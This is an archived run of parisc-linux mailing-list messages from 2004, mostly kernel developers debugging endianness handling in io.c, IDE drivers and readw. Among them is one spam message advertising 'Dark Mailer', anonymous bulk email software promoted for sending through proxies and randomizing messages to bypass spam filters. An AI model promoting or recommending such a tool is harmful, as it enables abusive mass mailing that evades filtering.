	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 18:05:06 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1S1555a020340;
	Sat, 28 Feb 2004 01:05:05 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 01:05:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20945

On Fri, 27 Feb 2004, M. Grabert wrote:

> On Fri, 27 Feb 2004, Grant Grundler wrote:
>
> > Anyone interested in deleted all use of the cpu_to_leXX
> > and leXX_to_cpu in linux-2.6/arch/parisc/lib/io.c?
>
> What do I have to do?
>
> I assumed that I just have to remove the use of the functions, nothing else.
> I've created a modified io.c for 2.4 and for 2.6 (can be found here:
> http://www.cs.ucc.ie/~xam/io/ ). I used a CVS version updated a couple
> of minutes ago, just after the merge with 2.6.4-rc1.

[...]

> I'll test the the modifications tomorrow morning (in about 10 hours that is),

Well, I actually couldn't resist and tried the modifications on a
linux-2.4.25-pa0 kernel (with a hard drive attached to onboard IDE
controller of the C3000).

The 'vanilla' linux-2.4.25-pa0 works, but without DMA.
With the modifications I made, the onboard IDE shows similar big-endian
problems as when using the siimage driver with a unpatched kernel (actually what I
somehow expected).

It really looks as either the Promise and the onboard-IDE have big-endian
issues (which were revealed by these modifications), or the siimage driver
has a big-endian problem.

I will test the Promise card (perhaps even the Silicon Image card), and
the 2.6-kernel tomorrow.

BTW, all my other additional hardware seem to work correctly (second
ethernet network card, a wireless network card, 5-port USB2.0 card).


Thanks,
Greetings from Ireland,
   Max


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel 2.6.3 compile problem
Date: Fri, 27 Feb 2004 18:06:44 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20040228010644.GB1756@colo.lackof.org>
References: <200402271110.50459.eggert.ehmke@berlin.de>
	<Pine.LNX.4.58.0402271018590.3556@sal.ucc.ie>
	<20040227224926.GA10923@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623226 6183 80.91.229.3 (22 Nov 2014 02:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:06 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>, parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: grundler@lackof.org  Fri Feb 27 18:06:45 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id B78254852
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 18:06:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 2477529809B; Fri, 27 Feb 2004 18:06:45 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01879-02; Fri, 27 Feb 2004 18:06:44 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9D92D298091; Fri, 27 Feb 2004 18:06:44 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040227224926.GA10923@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 01:06:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20946

On Fri, Feb 27, 2004 at 05:49:26PM -0500, Carlos O'Donell wrote:
> This is the culprit, and I stumble across it all the time. How do we go
> about setting this to CONFIG_VGA_CONSOLE=n as the default? 


change drivers/video/console/Kconfig:
config VGA_CONSOLE
        bool "VGA text console" if EMBEDDED || !X86
        depends on !ARCH_ACORN && !ARCH_EBSA110 && !4xx && !8xx && !SPARC32 && !SPARC64 && !M68K
        default y
...

I'm not sure why, but is arch/parisc/defconfig being ignored?
It seems to disable VGA_CONSOLE by default as do all the
sample configs in arch/parisc/configs/*.

grant


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Sat, 28 Feb 2004 01:53:54 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20040228015354.GX25779@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623226 6184 80.91.229.3 (22 Nov 2014 02:27:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:06 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: willy@www.linux.org.uk  Fri Feb 27 18:53:55 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A3DF548CB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 Feb 2004 18:53:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1Awtfu-0000tn-ME; Sat, 28 Feb 2004 01:53:54 +0000
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 01:53:56 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20947

On Fri, Feb 27, 2004 at 11:50:20PM +0000, M. Grabert wrote:
> I've created a modified io.c for 2.4 and for 2.6 (can be found here:
> http://www.cs.ucc.ie/~xam/io/ ). I used a CVS version updated a couple
> of minutes ago, just after the merge with 2.6.4-rc1.

Erm, sorry, I misled you.  I started the merge, went out for dinner,
came back and finished it off.  Should be good now.

There's typically two messages to the -cvs list (plus all the directory
add mails ...), the first is adding Linus' new tree on a branch, then
the second (which should be in your mailbox by now) is the merge back
to mainline.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Humberto Pierre" <support@hostmd.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anonymous Bulk Email Software -  www.darksoft.biz
Date: Fri, 27 Feb 2004 11:27:09 -0200
Lines: 32
Approved: news@gmane.org
Message-ID: <IHLGOFVSJGECTXKSFVZKZIYSK@mail333.com>
Reply-To: Humberto Pierre <support@hostmd.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--9238013075755062"
X-Trace: ger.gmane.org 1416623227 6189 80.91.229.3 (22 Nov 2014 02:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:07 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: support@hostmd.org  Sat Feb 28 06:31:59 2004
Return-Path: <support@hostmd.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from host81-132-124-63.in-addr.btopenworld.com
	(host81-132-124-63.in-addr.btopenworld.com [81.132.124.63])
	by dsl2.external.hp.com (Postfix) with SMTP id 4710F4852
	for <parisc-linux@parisc-linux.org>;
	Sat, 28 Feb 2004 06:31:58 -0700 (MST)
Original-Received: from 222.176.2.140 by 81.132.124.63; Fri, 27 Feb 2004 12:21:09 -0100
X-Originating-IP: 192.25.206.7
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 13:31:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20948

----9238013075755062
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Hello Pierre Mccracken!!

Dark Mailer Version 1.36 (www.darksoft.biz)
Anonymous Bulk Email Software 

Dark Mailer is a super fast bulk email software that sends out at speeds g=
reater than 1,000,000 emails per hour* on a dedicated mailing server. Dark=
 Mailer has the capability to use Proxies and Relays and also to send dire=
ctly.


Some of the features include: 
Anonymous Mailing using Proxies 
Message Randomization to bypass Spam Filters 
Speeds over 850-950K emails per hour on Turbo Mode 
Up to 1000 Threads 
Unlimited Email List Size (up to 100 Million per file) 
HTML and Plain Text Emails 
Tag Macros to personalize and randomize emails 
Custom Headers ....... more on 
http://www.darksoft.biz

Pierre Mccracken.
www.darksoft.biz

----9238013075755062--



From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Sat, 28 Feb 2004 16:07:13 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <1077984432.31248.4.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
	<Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623227 6192 80.91.229.3 (22 Nov 2014 02:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:07 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Feb 28 09:11:08 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AF5E4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 09:11:08 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1SG7E0r031312; Sat, 28 Feb 2004 16:07:14 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i1SG7EaS031310; Sat, 28 Feb 2004 16:07:14 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 16:11:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20949

On Sad, 2004-02-28 at 01:05, M. Grabert wrote:
> It really looks as either the Promise and the onboard-IDE have big-endian
> issues (which were revealed by these modifications), or the siimage driver
> has a big-endian problem.

None of the drivers have big endian problems (tested on other archs)

> I will test the Promise card (perhaps even the Silicon Image card), and
> the 2.6-kernel tomorrow.

The SI goes via mmio promise via PIO, so it may be you unfixed the one
that was right ?




From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Sat, 28 Feb 2004 09:45:06 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20040228164506.GA11659@colo.lackof.org>
References: <1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
	<Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
	<1077984432.31248.4.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623227 6196 80.91.229.3 (22 Nov 2014 02:27:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	Grant Grundler <grundler@parisc-linux.org>, "M. Grabert" <xam@cs.ucc.ie>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@lackof.org  Sat Feb 28 09:45:08 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EDE14852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 09:45:08 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6E79429809B; Sat, 28 Feb 2004 09:45:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11686-04; Sat, 28 Feb 2004 09:45:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BA4D729802E; Sat, 28 Feb 2004 09:45:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1077984432.31248.4.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 16:45:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20950

On Sat, Feb 28, 2004 at 04:07:13PM +0000, Alan Cox wrote:
> The SI goes via mmio promise via PIO, so it may be you unfixed the one
> that was right ?

oic.  siimage.c doesn't use the same code path.
I'll guess promise needs the arch/parisc/lib/io.c patch anyway
and something else is wrong with siimage. I'll track that
down later - could be something similar...

drivers/ide/pci/siimage.c:  default_hwif_mmiops(hwif);

ide-iops.c:void default_hwif_mmiops (ide_hwif_t *hwif)
...
        hwif->INSW      = ide_mm_insw;

include/asm-parisc/ide.h:
static __inline__ void __ide_mm_insw(unsigned long port, void *addr, u32 count)
{
        while (count--) {
                *(u16 *)addr = readw(port);
                addr += 2;
        }
}

include/asm/io.h:#define readw(addr) (*(volatile unsigned short *) __io_virt(addr))


Uhoh..no swapping at all in this case.
I was expecting readw to swap bytes.
Am I just confused again about how a BE is supposed to behave?
*sigh*

grant


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: 28 Feb 2004 11:24:53 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1077989094.1968.62.camel@mulgrave>
References: <1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
	<Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
	<1077984432.31248.4.camel@dhcp23.swansea.linux.org.uk> 
	<20040228164506.GA11659@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623228 6197 80.91.229.3 (22 Nov 2014 02:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:08 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>,
	PARISC list <parisc-linux@lists.parisc-linux.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sat Feb 28 10:25:00 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD5C14852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 10:24:59 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i1SHP8a23490; Sat, 28 Feb 2004 12:25:08 -0500
In-Reply-To: <20040228164506.GA11659@colo.lackof.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 17:25:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20951

On Sat, 2004-02-28 at 10:45, Grant Grundler wrote:
> include/asm/io.h:#define readw(addr) (*(volatile unsigned short *) __io_virt(addr))
> 
> 
> Uhoh..no swapping at all in this case.
> I was expecting readw to swap bytes.
> Am I just confused again about how a BE is supposed to behave?
> *sigh*

The rule is supposed to be that inX/outX/readX/writeX be free of
endianness issues on the bus.  i.e. doing a readw() on a memory mapped
PCI config space on parisc should have a le16_to_cpu implied in the
readw().

Obviously, accesses which go straight to memory (i.e. not via accessor
macros) are the responsibility of the driver for sorting out the
endianness.

James






From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Sat, 28 Feb 2004 17:41:49 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20040228174149.GD25779@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
	<Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
	<1077984432.31248.4.camel@dhcp23.swansea.linux.org.uk>
	<20040228164506.GA11659@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623228 6199 80.91.229.3 (22 Nov 2014 02:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:08 +0000 (UTC)
Cc: "M. Grabert" <xam@cs.ucc.ie>, parisc-linux@lists.parisc-linux.org,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Sat Feb 28 10:41:51 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0265F48A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 10:41:50 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1Ax8TF-0002tA-70; Sat, 28 Feb 2004 17:41:49 +0000
Content-Disposition: inline
In-Reply-To: <20040228164506.GA11659@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 17:41:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20952

On Sat, Feb 28, 2004 at 09:45:06AM -0700, Grant Grundler wrote:
> include/asm/io.h:#define readw(addr) (*(volatile unsigned short *) __io_virt(addr))
> 
> 
> Uhoh..no swapping at all in this case.
> I was expecting readw to swap bytes.
> Am I just confused again about how a BE is supposed to behave?
> *sigh*

You're confused by looking at the unused definition ;-)

#define readw(addr) le16_to_cpu(__raw_readw(addr))

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Sat, 28 Feb 2004 12:48:08 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040228194808.GB11659@colo.lackof.org>
